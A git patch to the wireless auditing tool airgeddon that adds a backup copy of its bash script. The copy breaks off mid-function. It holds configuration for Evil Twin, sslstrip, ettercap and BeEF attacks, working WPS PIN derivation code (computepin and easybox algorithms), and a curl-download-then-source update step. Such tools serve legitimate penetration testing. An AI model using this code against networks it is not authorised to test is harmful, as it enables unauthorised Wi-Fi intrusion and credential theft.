From 459db3d2094c6a159279697e9709292c4f9e20ab Mon Sep 17 00:00:00 2001 From: xtonousou Date: Thu, 20 Apr 2017 01:34:54 +0300 Subject: [PATCH 01/28] Updated tools arrays with possible package names --- airgeddon.sh | 6 +- airgeddon.sh~ | 8529 +++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 8532 insertions(+), 3 deletions(-) create mode 100644 airgeddon.sh~ diff --git a/airgeddon.sh b/airgeddon.sh index 61423eb36..fcfc80ca2 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20170408 +#Date.........: 20170420 #Version......: 6.2 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -68,9 +68,9 @@ update_tools=("curl") declare -A possible_package_names=( [${essential_tools_names[0]}]="net-tools" #ifconfig - [${essential_tools_names[1]}]="wireless-tools" #iwconfig + [${essential_tools_names[1]}]="wireless-tools / wireless_tools" #iwconfig [${essential_tools_names[2]}]="iw" #iw - [${essential_tools_names[3]}]="awk" #awk + [${essential_tools_names[3]}]="awk / gawk" #awk [${essential_tools_names[4]}]="aircrack-ng" #airmon-ng [${essential_tools_names[5]}]="aircrack-ng" #airodump-ng [${essential_tools_names[6]}]="aircrack-ng" #aircrack-ng diff --git a/airgeddon.sh~ b/airgeddon.sh~ new file mode 100644 index 000000000..1880737a6 --- /dev/null +++ b/airgeddon.sh~ @@ -0,0 +1,8529 @@ +#!/usr/bin/env bash +#Title........: airgeddon.sh +#Description..: This is a multi-use bash script for Linux systems to audit wireless networks. +#Author.......: v1s1t0r +#Date.........: 20170408 +#Version......: 6.2 +#Usage........: bash airgeddon.sh +#Bash Version.: 4.2 or later + +#Enabled with extra-verbose mode 2 / Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 +debug_mode=0 + +#Enabled 1 / Disabled 0 - Auto update feature (it has no effect on debug mode) - Default value 1 +auto_update=1 + +#Enabled 1 / Disabled 0 - Auto change language feature - Default value 1 +auto_change_language=1 + +#Language vars +#Change this line to select another default language. Select one from available values in array +language="ENGLISH" +declare -A lang_association=( + ["en"]="ENGLISH" + ["es"]="SPANISH" + ["fr"]="FRENCH" + ["ca"]="CATALAN" + ["pt"]="PORTUGUESE" + ["ru"]="RUSSIAN" + ["gr"]="GREEK" + ) + +#Tools vars +essential_tools_names=( + "ifconfig" + "iwconfig" + "iw" + "awk" + "airmon-ng" + "airodump-ng" + "aircrack-ng" + "xterm" + ) + +optional_tools_names=( + "wpaclean" + "crunch" + "aireplay-ng" + "mdk3" + "hashcat" + "hostapd" + "dhcpd" + "iptables" + "ettercap" + "etterlog" + "sslstrip" + "lighttpd" + "dnsspoof" + "wash" + "reaver" + "bully" + "pixiewps" + "unbuffer" + "bettercap" + "beef" + ) + +update_tools=("curl") + +declare -A possible_package_names=( + [${essential_tools_names[0]}]="net-tools" #ifconfig + [${essential_tools_names[1]}]="wireless-tools / wireless_tools" #iwconfig + [${essential_tools_names[2]}]="iw" #iw + [${essential_tools_names[3]}]="awk / gawk" #awk + [${essential_tools_names[4]}]="aircrack-ng" #airmon-ng + [${essential_tools_names[5]}]="aircrack-ng" #airodump-ng + [${essential_tools_names[6]}]="aircrack-ng" #aircrack-ng + [${essential_tools_names[7]}]="xterm" #xterm + [${optional_tools_names[0]}]="aircrack-ng" #wpaclean + [${optional_tools_names[1]}]="crunch" #crunch + [${optional_tools_names[2]}]="aircrack-ng" #aireplay-ng + [${optional_tools_names[3]}]="mdk3" #mdk3 + [${optional_tools_names[4]}]="hashcat" #hashcat + [${optional_tools_names[5]}]="hostapd" #hostapd + [${optional_tools_names[6]}]="isc-dhcp-server / dhcp-server / dhcp" #dhcpd + [${optional_tools_names[7]}]="iptables" #iptables + [${optional_tools_names[8]}]="ettercap / ettercap-text-only / ettercap-graphical" #ettercap + [${optional_tools_names[9]}]="ettercap / ettercap-text-only / ettercap-graphical" #etterlog + [${optional_tools_names[10]}]="sslstrip" #sslstrip + [${optional_tools_names[11]}]="lighttpd" #lighttpd + [${optional_tools_names[12]}]="dsniff" #dnsspoof + [${optional_tools_names[13]}]="reaver" #wash + [${optional_tools_names[14]}]="reaver" #reaver + [${optional_tools_names[15]}]="bully" #bully + [${optional_tools_names[16]}]="pixiewps" #pixiewps + [${optional_tools_names[17]}]="expect / expect-dev" #unbuffer + [${optional_tools_names[18]}]="bettercap" #bettercap + [${optional_tools_names[19]}]="beef-xss / beef-project" #beef + [${update_tools[0]}]="curl" #curl + ) + +#More than one alias can be defined separated by spaces at value +declare -A possible_alias_names=( + ["beef"]="beef-xss beef-server" + ) + +#General vars +airgeddon_version="6.2" +language_strings_expected_version="6.2-1" +standardhandshake_filename="handshake-01.cap" +tmpdir="/tmp/" +osversionfile_dir="/etc/" +minimum_bash_version_required="4.2" +hashcat3_version="3.0" +resume_message=224 +abort_question=12 +pending_of_translation="[PoT]" +escaped_pending_of_translation="\[PoT\]" +standard_resolution="1024x768" +curl_404_error="404: Not Found" +language_strings_file="language_strings.sh" + +#Docker vars +docker_based_distro="Kali" +docker_io_dir="/io" + +#WPS vars +minimum_reaver_pixiewps_version="1.5.2" +minimum_bully_pixiewps_version="1.1" +minimum_bully_verbosity4_version="1.1" +known_pins_dbfile="known_pins.db" +pins_dbfile_checksum="pindb_checksum.txt" +wps_default_generic_pin="12345670" +wps_attack_script_file="ag.wpsattack.sh" +wps_out_file="ag.wpsout.txt" +timeout_secs_per_pin="30" +timeout_secs_per_pixiedust="30" + +#Repository and contact vars +github_user="v1s1t0r1sh3r3" +github_repository="airgeddon" +branch="master" +script_filename="airgeddon.sh" +urlgithub="https://github.com/${github_user}/${github_repository}" +urlscript_directlink="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${script_filename}" +urlscript_pins_dbfile="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${known_pins_dbfile}" +urlscript_pins_dbfile_checksum="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${pins_dbfile_checksum}" +urlscript_language_strings_file="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${language_strings_file}" +urlgithub_wiki="https://github.com/${github_user}/${github_repository}/wiki" +host_to_check_internet="github.com" +mail="v1s1t0r.1s.h3r3@gmail.com" +author="v1s1t0r" + +#Dhcpd, Hostapd and misc Evil Twin vars +ip_range="192.168.1.0" +alt_ip_range="172.16.250.0" +router_ip="192.168.1.1" +alt_router_ip="172.16.250.1" +broadcast_ip="192.168.1.255" +alt_broadcast_ip="172.16.250.255" +range_start="192.168.1.33" +range_stop="192.168.1.100" +alt_range_start="172.16.250.33" +alt_range_stop="172.16.250.100" +std_c_mask="255.255.255.0" +ip_mask="255.255.255.255" +dhcpd_file="ag.dhcpd.conf" +internet_dns1="8.8.8.8" +internet_dns2="8.8.4.4" +sslstrip_port="10000" +bettercap_proxy_port="8080" +bettercap_dns_port="5300" +minimum_bettercap_advanced_options="1.5.9" +sslstrip_file="ag.sslstrip.log" +ettercap_file="ag.ettercap.log" +bettercap_file="ag.bettercap.log" +beef_port="3000" +beef_control_panel_url="http://127.0.0.1:${beef_port}/ui/panel" +jshookfile="hook.js" +beef_file="ag.beef.conf" +beef_pass="airgeddon" +beef_db="beef.db" +beef_installation_url="https://github.com/beefproject/beef/wiki/Installation" +hostapd_file="ag.hostapd.conf" +control_file="ag.control.sh" +webserver_file="ag.lighttpd.conf" +webdir="www/" +indexfile="index.htm" +checkfile="check.htm" +cssfile="portal.css" +jsfile="portal.js" +attemptsfile="ag.et_attempts.txt" +currentpassfile="ag.et_currentpass.txt" +successfile="ag.et_success.txt" +processesfile="ag.et_processes.txt" +possible_dhcp_leases_files=( + "/var/lib/dhcp/dhcpd.leases" + "/var/state/dhcp/dhcpd.leases" + "/var/lib/dhcpd/dhcpd.leases" + ) +possible_beef_known_locations=( + "/usr/share/beef/" + "/usr/share/beef-xss/" + "/opt/beef/" + "/opt/beef-project/" + #Custom BeEF location (set=0) + ) + +#Distros vars +known_compatible_distros=( + "Wifislax" + "Kali" + "Parrot" + "Backbox" + "BlackArch" + "Cyborg" + "Ubuntu" + "Debian" + "SuSE" + "CentOS" + "Gentoo" + "Fedora" + "Red Hat" + "Arch" + "OpenMandriva" + ) + +known_arm_compatible_distros=( + "Raspbian" + "Parrot arm" + "Kali arm" + ) + +#Hint vars +declare main_hints=(128 134 163) +declare dos_hints=(129 131 133) +declare handshake_hints=(127 130 132 136) +declare handshake_attack_hints=(142) +declare decrypt_hints=(171 178 179 208 244) +declare select_interface_hints=(246) +declare language_hints=(250) +declare evil_twin_hints=(254 258 264 269 309 328 400) +declare evil_twin_dos_hints=(267 268) +declare beef_hints=(408) +declare wps_hints=(342 343 344 356 369 390) + +#Charset vars +crunch_lowercasecharset="abcdefghijklmnopqrstuvwxyz" +crunch_uppercasecharset="ABCDEFGHIJKLMNOPQRSTUVWXYZ" +crunch_numbercharset="0123456789" +crunch_symbolcharset="!#$%/=?{}[]-*:;" +hashcat_charsets=("?l" "?u" "?d" "?s") + +#Colors vars +green_color="\033[1;32m" +green_color_title="\033[0;32m" +red_color="\033[1;31m" +red_color_slim="\033[0;031m" +blue_color="\033[1;34m" +cyan_color="\033[1;36m" +brown_color="\033[0;33m" +yellow_color="\033[1;33m" +pink_color="\033[1;35m" +white_color="\e[1;97m" +normal_color="\e[1;0m" + +#Check coherence between script and language_strings file +function check_language_strings() { + + debug_print + + if [ -f "${scriptfolder}${language_strings_file}" ]; then + + language_file_found=1 + language_file_mismatch=0 + #shellcheck source=./language_strings.sh + source "${scriptfolder}${language_strings_file}" + set_language_strings_version + if [ "${language_strings_version}" != "${language_strings_expected_version}" ]; then + language_file_mismatch=1 + fi + else + language_file_found=0 + fi + + if [[ "${language_file_found}" -eq 0 ]] || [[ "${language_file_mismatch}" -eq 1 ]]; then + + language_strings_handling_messages + + generate_dynamic_line "airgeddon" "title" + if [ "${language_file_found}" -eq 0 ]; then + echo_red "${language_strings_no_file[${language}]}" + if [ "${airgeddon_version}" = "6.1" ]; then + echo + echo_yellow "${language_strings_first_time[${language}]}" + fi + elif [ "${language_file_mismatch}" -eq 1 ]; then + echo_red "${language_strings_file_mismatch[${language}]}" + fi + + echo + echo_blue "${language_strings_try_to_download[${language}]}" + read -p "${language_strings_key_to_continue[${language}]}" -r + check_internet_access "${host_to_check_internet}" + + if [ "$?" = "0" ]; then + + download_language_strings_file + if [ "$?" = "0" ]; then + echo + echo_yellow "${language_strings_successfully_downloaded[${language}]}" + read -p "${language_strings_key_to_continue[${language}]}" -r + clear + return 0 + else + echo + echo_red "${language_strings_failed_downloading[${language}]}" + fi + else + echo + echo_red "${language_strings_failed_downloading[${language}]}" + fi + + echo + echo_blue "${language_strings_exiting[${language}]}" + echo + hardcore_exit + fi +} + +#Download the language strings file +function download_language_strings_file() { + + debug_print + + remote_language_strings_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_language_strings_file} 2> /dev/null) + + if [ "${remote_language_strings_file}" != "${curl_404_error}" ]; then + echo "${remote_language_strings_file}" > "${scriptfolder}${language_strings_file}" + chmod +x "${scriptfolder}${language_strings_file}" > /dev/null 2>&1 + #shellcheck source=./language_strings.sh + source "${scriptfolder}${language_strings_file}" + return 0 + else + return 1 + fi +} + +#Set messages for language_strings handling +function language_strings_handling_messages() { + + declare -gA language_strings_no_file + language_strings_no_file["ENGLISH"]="Error. Language strings file not found" + language_strings_no_file["SPANISH"]="Error. No se ha encontrado el fichero de traducciones" + language_strings_no_file["FRENCH"]="Erreur. Fichier contenant les traductions absent" + language_strings_no_file["CATALAN"]="Error. No s'ha trobat el fitxer de traduccions" + language_strings_no_file["PORTUGUESE"]="Erro. O arquivo de tradução não foi encontrado" + language_strings_no_file["RUSSIAN"]="Ошибка. Не найден языковой файл" + language_strings_no_file["GREEK"]="Σφάλμα. Το αρχείο γλωσσών δεν βρέθηκε" + + declare -gA language_strings_file_mismatch + language_strings_file_mismatch["ENGLISH"]="Error. The language strings file found mismatches expected version" + language_strings_file_mismatch["SPANISH"]="Error. El fichero de traducciones encontrado no es la versión esperada" + language_strings_file_mismatch["FRENCH"]="Erreur. Les traductions trouvées ne sont pas celles attendues" + language_strings_file_mismatch["CATALAN"]="Error. El fitxer de traduccions trobat no és la versió esperada" + language_strings_file_mismatch["PORTUGUESE"]="Erro. O a versão do arquivos de tradução encontrado é a incompatível" + language_strings_file_mismatch["RUSSIAN"]="Ошибка. Языковой файл не соответствует ожидаемой версии" + language_strings_file_mismatch["GREEK"]="Σφάλμα. Το αρχείο γλωσσών που έχει βρεθεί δεν αντιστοιχεί με την προαπαιτούμενη έκδοση" + + declare -gA language_strings_try_to_download + language_strings_try_to_download["ENGLISH"]="airgeddon will try to download the language strings file..." + language_strings_try_to_download["SPANISH"]="airgeddon intentará descargar el fichero de traducciones..." + language_strings_try_to_download["FRENCH"]="airgeddon va essayer de télécharger les fichiers de traductions..." + language_strings_try_to_download["CATALAN"]="airgeddon intentarà descarregar el fitxer de traduccions..." + language_strings_try_to_download["PORTUGUESE"]="O airgeddon tentará baixar o arquivo de tradução..." + language_strings_try_to_download["RUSSIAN"]="airgeddon попытается загрузить языковой файл..." + language_strings_try_to_download["GREEK"]="Το airgeddon θα προσπαθήσει να κατεβάσει το αρχείο γλωσσών..." + + declare -gA language_strings_successfully_downloaded + language_strings_successfully_downloaded["ENGLISH"]="Language strings file was successfully downloaded" + language_strings_successfully_downloaded["SPANISH"]="Se ha descargado con éxito el fichero de traducciones" + language_strings_successfully_downloaded["FRENCH"]="Les fichiers traduction ont été correctement téléchargés" + language_strings_successfully_downloaded["CATALAN"]="S'ha descarregat amb èxit el fitxer de traduccions" + language_strings_successfully_downloaded["PORTUGUESE"]="O arquivo de tradução foi baixado com sucesso" + language_strings_successfully_downloaded["RUSSIAN"]="Языковой файл был успешно загружен" + language_strings_successfully_downloaded["GREEK"]="Το αρχείο γλωσσών κατέβηκε με επιτυχία" + + declare -gA language_strings_failed_downloading + language_strings_failed_downloading["ENGLISH"]="The language string file can't be downloaded. Check your internet connection or download it manually from ${normal_color}${urlgithub}" + language_strings_failed_downloading["SPANISH"]="No se ha podido descargar el fichero de traducciones. Comprueba tu conexión a internet o descárgalo manualmente de ${normal_color}${urlgithub}" + language_strings_failed_downloading["FRENCH"]="Impossible de télécharger le fichier traduction. Vérifiez votre connexion à internet ou téléchargez le fichier manuellement ${normal_color}${urlgithub}" + language_strings_failed_downloading["CATALAN"]="No s'ha pogut descarregar el fitxer de traduccions. Comprova la connexió a internet o descarrega'l manualment de ${normal_color}${urlgithub}" + language_strings_failed_downloading["PORTUGUESE"]="Não foi possível baixar o arquivos de tradução. Verifique a sua conexão com a internet ou baixe manualmente em ${normal_color}${urlgithub}" + language_strings_failed_downloading["RUSSIAN"]="Языковой файл не может быть загружен. Проверьте подключение к Интернету или загрузите его вручную с ${normal_color}${urlgithub}" + language_strings_failed_downloading["GREEK"]="Το αρχείο γλωσσών δεν μπορεί να κατέβει. Ελέγξτε τη σύνδεση σας με το διαδίκτυο ή κατεβάστε το χειροκίνητα ${normal_color}${urlgithub}" + + declare -gA language_strings_first_time + language_strings_first_time["ENGLISH"]="If you are seeing this message after an automatic update, don't be scared! It's probably because airgeddon has different file structure since version 6.1. It will be automatically fixed" + language_strings_first_time["SPANISH"]="Si estás viendo este mensaje tras una actualización automática, ¡no te asustes! probablemente es porque a partir de la versión 6.1 la estructura de ficheros de airgeddon ha cambiado. Se reparará automáticamente" + language_strings_first_time["FRENCH"]="Si vous voyez ce message après une mise à jour automatique ne vous inquiétez pas! A partir de la version 6.1 la structure de fichier d'airgeddon a changé. L'ajustement se fera automatiquement" + language_strings_first_time["CATALAN"]="Si estàs veient aquest missatge després d'una actualització automàtica, no t'espantis! probablement és perquè a partir de la versió 6.1 l'estructura de fitxers de airgeddon ha canviat. Es repararà automàticament" + language_strings_first_time["PORTUGUESE"]="Se você está vendo esta mensagem depois de uma atualização automática, não tenha medo! A partir da versão 6.1 da estrutura de arquivos do airgeddon mudou. Isso será corrigido automaticamente" + language_strings_first_time["RUSSIAN"]="Если вы видите это сообщение после автоматического обновления, не переживайте! Вероятно, это объясняется тем, что, начиная с версии 6.1, airgeddon имеет другую структуру файлов. Проблема будет разрешена автоматически" + language_strings_first_time["GREEK"]="Εάν βλέπετε αυτό το μήνυμα μετά από κάποια αυτόματη ενημέρωση, μην τρομάξετε! Πιθανόν είναι λόγω της διαφορετικής δομής του airgeddon μετά από την έκδοση 6.1. Θα επιδιορθωθεί αυτόματα" + + declare -gA language_strings_exiting + language_strings_exiting["ENGLISH"]="Exiting airgeddon script v${airgeddon_version} - See you soon! :)" + language_strings_exiting["SPANISH"]="Saliendo de airgeddon script v${airgeddon_version} - Nos vemos pronto! :)" + language_strings_exiting["FRENCH"]="Fermeture du script airgeddon v${airgeddon_version} - A bientôt! :)" + language_strings_exiting["CATALAN"]="Sortint de airgeddon script v${airgeddon_version} - Ens veiem aviat! :)" + language_strings_exiting["PORTUGUESE"]="Saindo do script airgeddon v${airgeddon_version} - Até breve! :)" + language_strings_exiting["RUSSIAN"]="Выход из скрипта airgeddon v${airgeddon_version} - До встречи! :)" + language_strings_exiting["GREEK"]="Κλείσιμο του airgeddon v${airgeddon_version} - Αντίο :)" + + declare -gA language_strings_key_to_continue + language_strings_key_to_continue["ENGLISH"]="Press [Enter] key to continue..." + language_strings_key_to_continue["SPANISH"]="Pulsa la tecla [Enter] para continuar..." + language_strings_key_to_continue["FRENCH"]="Pressez [Enter] pour continuer..." + language_strings_key_to_continue["CATALAN"]="Prem la tecla [Enter] per continuar..." + language_strings_key_to_continue["PORTUGUESE"]="Pressione a tecla [Enter] para continuar..." + language_strings_key_to_continue["RUSSIAN"]="Нажмите клавишу [Enter] для продолжения..." + language_strings_key_to_continue["GREEK"]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..." +} + +#Print the current line of where this was called and the function's name. Applies to some (which are useful) functions +function debug_print() { + + if [ ${debug_mode} -eq 2 ]; then + + declare excluded_functions=( + "ask_yesno" + "check_pending_of_translation" + "contains_element" + "echo_blue" + "echo_brown" + "echo_cyan" + "echo_green" + "echo_green_title" + "echo_pink" + "echo_red" + "echo_red_slim" + "echo_white" + "echo_yellow" + "generate_dynamic_line" + "interrupt_checkpoint" + "language_strings" + "last_echo" + "print_hint" + "print_large_separator" + "print_simple_separator" + "read_yesno" + "remove_warnings" + "special_text_missed_optional_tool" + "store_array" + "under_construction_message" + ) + + if (IFS=$'\n'; echo "${excluded_functions[*]}") | grep -qFx "${FUNCNAME[1]}"; then + return 1 + fi + + #TODO "${@}" to print parameters + echo "Line:${BASH_LINENO[1]}" "${FUNCNAME[1]}" + return 0 + fi +} + +#Set the message to show again after an interrupt ([Ctrl+C] or [Ctrl+Z]) without exiting +function interrupt_checkpoint() { + + debug_print + + if [ -z "${last_buffered_type1}" ]; then + last_buffered_message1=${1} + last_buffered_message2=${1} + last_buffered_type1=${2} + last_buffered_type2=${2} + else + if [ "${1}" -ne ${resume_message} ]; then + last_buffered_message2=${last_buffered_message1} + last_buffered_message1=${1} + last_buffered_type2=${last_buffered_type1} + last_buffered_type1=${2} + fi + fi +} + +#Add the text on a menu when you miss an optional tool +function special_text_missed_optional_tool() { + + debug_print + + declare -a required_tools=("${!3}") + + allowed_menu_option=1 + if [ ${debug_mode} -eq 0 ]; then + tools_needed="${optionaltool_needed[${1}]}" + for item in "${required_tools[@]}"; do + if [ "${optional_tools[${item}]}" -eq 0 ]; then + allowed_menu_option=0 + tools_needed+="${item} " + fi + done + fi + + if [ ${allowed_menu_option} -eq 1 ]; then + last_echo "${arr[${1},${2}]}" "${normal_color}" + else + [[ ${arr[${1},${2}]} =~ ^([0-9]+)\.(.*)$ ]] && forbidden_options+=("${BASH_REMATCH[1]}") + tools_needed=${tools_needed:: -1} + echo_red_slim "${arr[${1},${2}]} (${tools_needed})" + fi +} + +#Generate the chars in front of and behind a text for titles and separators +function generate_dynamic_line() { + + debug_print + + local type=${2} + if [ "${type}" = "title" ]; then + ncharstitle=78 + titlechar="*" + elif [ "${type}" = "separator" ]; then + ncharstitle=58 + titlechar="-" + fi + + titletext=${1} + titlelength=${#titletext} + finaltitle="" + + for ((i=0; i < (ncharstitle/2 - titlelength+(titlelength/2)); i++)); do + finaltitle="${finaltitle}${titlechar}" + done + + if [ "${type}" = "title" ]; then + finaltitle="${finaltitle} ${titletext} " + elif [ "${type}" = "separator" ]; then + finaltitle="${finaltitle} (${titletext}) " + fi + + for ((i=0; i < (ncharstitle/2 - titlelength+(titlelength/2)); i++)); do + finaltitle="${finaltitle}${titlechar}" + done + + if [ $((titlelength % 2)) -gt 0 ]; then + finaltitle+="${titlechar}" + fi + + if [ "${type}" = "title" ]; then + echo_green_title "${finaltitle}" + elif [ "${type}" = "separator" ]; then + echo_blue "${finaltitle}" + fi +} + +#Wrapper to check managed mode on an interface +function check_to_set_managed() { + + debug_print + + check_interface_mode + case "${ifacemode}" in + "Managed") + echo + language_strings "${language}" 0 "red" + language_strings "${language}" 115 "read" + return 1 + ;; + "(Non wifi card)") + echo + language_strings "${language}" 1 "red" + language_strings "${language}" 115 "read" + return 1 + ;; + esac + return 0 +} + +#Wrapper to check monitor mode on an interface +function check_to_set_monitor() { + + debug_print + + check_interface_mode + case "${ifacemode}" in + "Monitor") + echo + language_strings "${language}" 10 "red" + language_strings "${language}" 115 "read" + return 1 + ;; + "(Non wifi card)") + echo + language_strings "${language}" 13 "red" + language_strings "${language}" 115 "read" + return 1 + ;; + esac + return 0 +} + +#Check for monitor mode on an interface +function check_monitor_enabled() { + + debug_print + + mode=$(iwconfig "${interface}" 2> /dev/null | grep Mode: | awk '{print $4}' | cut -d ':' -f 2) + + if [[ ${mode} != "Monitor" ]]; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" + return 1 + fi + return 0 +} + +#Check if an interface is a wifi card or not +function check_interface_wifi() { + + debug_print + + execute_iwconfig_fix + return $? +} + +#Execute the iwconfig fix to know if an interface is a wifi card or not +function execute_iwconfig_fix() { + + debug_print + + iwconfig_fix + iwcmd="iwconfig ${interface} ${iwcmdfix} > /dev/null 2> /dev/null" + eval "${iwcmd}" + + return $? +} + +#Create a list of interfaces associated to its macs +function renew_ifaces_and_macs_list() { + + debug_print + + readarray -t IFACES_AND_MACS < <(ip link | egrep "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep lo -v | grep "${interface}" -v) + declare -gA ifaces_and_macs + for iface_name in "${IFACES_AND_MACS[@]}"; do + mac_item=$(cat < "/sys/class/net/${iface_name}/address" 2> /dev/null) + if [ -n "${mac_item}" ]; then + ifaces_and_macs[${iface_name}]=${mac_item} + fi + done + + declare -gA ifaces_and_macs_switched + for iface_name in "${!ifaces_and_macs[@]}"; do + ifaces_and_macs_switched[${ifaces_and_macs[${iface_name}]}]=${iface_name} + done +} + +#Check the interface coherence between interface names and macs +function check_interface_coherence() { + + debug_print + + renew_ifaces_and_macs_list + interface_auto_change=0 + + interface_found=0 + for iface_name in "${!ifaces_and_macs[@]}"; do + if [ "${interface}" = "${iface_name}" ]; then + interface_found=1 + interface_mac=${ifaces_and_macs[${iface_name}]} + break + fi + done + + if [ ${interface_found} -eq 0 ]; then + for iface_mac in "${ifaces_and_macs[@]}"; do + iface_mac_tmp=${iface_mac:0:15} + interface_mac_tmp=${interface_mac:0:15} + if [ "${iface_mac_tmp}" = "${interface_mac_tmp}" ]; then + interface=${ifaces_and_macs_switched[${iface_mac}]} + interface_auto_change=1 + break + fi + done + fi + + return ${interface_auto_change} +} + +#Prepare the vars to be used on wps pin database attacks +function set_wps_mac_parameters() { + + debug_print + + six_wpsbssid_first_digits=${wps_bssid:0:8} + six_wpsbssid_first_digits_clean=${six_wpsbssid_first_digits//:} + six_wpsbssid_last_digits=${wps_bssid: -8} + six_wpsbssid_last_digits_clean=${six_wpsbssid_last_digits//:} + four_wpsbssid_last_digits=${wps_bssid: -5} + four_wpsbssid_last_digits_clean=${four_wpsbssid_last_digits//:} +} + +#Calculate pin based on Zhao Chunsheng algorithm (computepin), step 1 +function calculate_computepin_algorithm_step1() { + + debug_print + + hex_to_dec=$(printf '%d\n' 0x"${six_wpsbssid_last_digits_clean}") 2> /dev/null + computepin_pin=$((hex_to_dec % 10000000)) +} + +#Calculate pin based on Zhao Chunsheng algorithm (computepin), step 2 +function calculate_computepin_algorithm_step2() { + + debug_print + + computepin_pin=$(printf '%08d\n' $((10#${computepin_pin} * 10 + checksum_digit))) +} + +#Calculate pin based on Stefan Viehböck algorithm (easybox) +function calculate_easybox_algorithm() { + + debug_print + + hex_to_dec=($(printf "%04d" "0x${four_wpsbssid_last_digits_clean}" | sed 's/.*\(....\)/\1/;s/./& /g')) + [[ ${four_wpsbssid_last_digits_clean} =~ ${four_wpsbssid_last_digits_clean//?/(.)} ]] && hexi=($(printf '%s\n' "${BASH_REMATCH[*]:1}")) + + c1=$(printf "%d + %d + %d + %d" "${hex_to_dec[0]}" "${hex_to_dec[1]}" "0x${hexi[2]}" "0x${hexi[3]}") + c2=$(printf "%d + %d + %d + %d" "0x${hexi[0]}" "0x${hexi[1]}" "${hex_to_dec[2]}" "${hex_to_dec[3]}") + + K1=$((c1 % 16)) + K2=$((c2 % 16)) + X1=$((K1 ^ hex_to_dec[3])) + X2=$((K1 ^ hex_to_dec[2])) + X3=$((K1 ^ hex_to_dec[1])) + Y1=$((K2 ^ 0x${hexi[1]})) + Y2=$((K2 ^ 0x${hexi[2]})) + Z1=$((0x${hexi[2]} ^ hex_to_dec[3])) + Z2=$((0x${hexi[3]} ^ hex_to_dec[2])) + + easybox_pin=$(printf '%08d\n' "$((0x$X1$X2$Y1$Y2$Z1$Z2$X3))" | rev | cut -c -7 | rev) +} + +#Calculate the last digit on pin following the checksum rule +function pin_checksum_rule() { + + debug_print + + current_calculated_pin=$((10#${1} * 10)) + + accum=0 + accum=$((accum + 3 * (current_calculated_pin/10000000 % 10))) + accum=$((accum + current_calculated_pin/1000000 % 10)) + accum=$((accum + 3 * (current_calculated_pin/100000 % 10))) + accum=$((accum + current_calculated_pin/10000 % 10)) + accum=$((accum + 3 * (current_calculated_pin/1000 % 10))) + accum=$((accum + current_calculated_pin/100 % 10)) + accum=$((accum + 3 * (current_calculated_pin/10 % 10))) + + control_digit=$((accum % 10)) + checksum_digit=$((10 - control_digit)) + checksum_digit=$((checksum_digit % 10)) +} + +#Manage the calls to check common wps pin algorithms +function check_and_set_common_algorithms() { + + debug_print + + echo + language_strings "${language}" 388 "blue" + declare -g calculated_pins=("${wps_default_generic_pin}") + + calculate_computepin_algorithm_step1 + pin_checksum_rule "${computepin_pin}" + calculate_computepin_algorithm_step2 + calculated_pins+=("${computepin_pin}") + + calculate_easybox_algorithm + pin_checksum_rule "${easybox_pin}" + easybox_pin=$(printf '%08d\n' $((current_calculated_pin + checksum_digit))) + calculated_pins+=("${easybox_pin}") + + integrate_algorithms_pins + if [ "$?" = "0" ]; then + echo + language_strings "${language}" 389 "yellow" + fi +} + +#Integrate calculated pins from algorithms into pins array +function integrate_algorithms_pins() { + + debug_print + + some_calculated_pin_included=0 + for pin in "${calculated_pins[@]}"; do + this_pin_already_included=0 + for item in "${pins_found[@]}"; do + if [ "${item}" = "${pin}" ]; then + this_pin_already_included=1 + break + fi + done + + if [ ${this_pin_already_included} -eq 0 ]; then + pins_found+=(${pin}) + counter_pins_found=$((counter_pins_found + 1)) + some_calculated_pin_included=1 + fi + done + + if [ "${some_calculated_pin_included}" -eq 1 ]; then + return 0 + fi + return 1 +} + +#Search for target wps bssid mac in pin database and set the vars to be used +function search_in_pin_database() { + + debug_print + + bssid_found_in_db=0 + counter_pins_found=0 + declare -g pins_found=() + for item in "${!PINDB[@]}"; do + if [ "${item}" = "${six_wpsbssid_first_digits_clean}" ]; then + bssid_found_in_db=1 + arrpins=(${PINDB[${item//[[:space:]]/ }]}) + for item2 in "${arrpins[@]}"; do + counter_pins_found=$((counter_pins_found+1)) + pins_found+=(${item2}) + done + break + fi + done +} + +#Prepare monitor mode avoiding the use of airmon-ng or airmon-zc generating two interfaces from one +function prepare_et_monitor() { + + debug_print + + disable_rfkill + + phy_iface=$(basename "$(readlink "/sys/class/net/${interface}/phy80211")") + iface_phy_number=${phy_iface:3:1} + iface_monitor_et_deauth="mon${iface_phy_number}" + + iw phy "${phy_iface}" interface add "${iface_monitor_et_deauth}" type monitor 2> /dev/null + ifconfig "${iface_monitor_et_deauth}" up > /dev/null 2>&1 + iwconfig "${iface_monitor_et_deauth}" channel "${channel}" > /dev/null 2>&1 +} + +#Assure the mode of the interface before the Evil Twin process +function prepare_et_interface() { + + debug_print + + et_initial_state=${ifacemode} + + if [ "${ifacemode}" != "Managed" ]; then + new_interface=$(${airmon} stop "${interface}" 2> /dev/null | grep station) + ifacemode="Managed" + [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" + if [ "${interface}" != "${new_interface}" ]; then + check_interface_coherence + if [ "$?" = "0" ]; then + interface=${new_interface} + fi + echo + language_strings "${language}" 15 "yellow" + fi + fi +} + +#Restore the state of the interfaces after Evil Twin process +function restore_et_interface() { + + debug_print + + echo + language_strings "${language}" 299 "blue" + + disable_rfkill + + mac_spoofing_desired=0 + + iw dev "${iface_monitor_et_deauth}" del > /dev/null 2>&1 + + if [ "${et_initial_state}" = "Managed" ]; then + ifconfig "${interface}" down > /dev/null 2>&1 + iwconfig "${interface}" mode managed > /dev/null 2>&1 + ifconfig "${interface}" up > /dev/null 2>&1 + 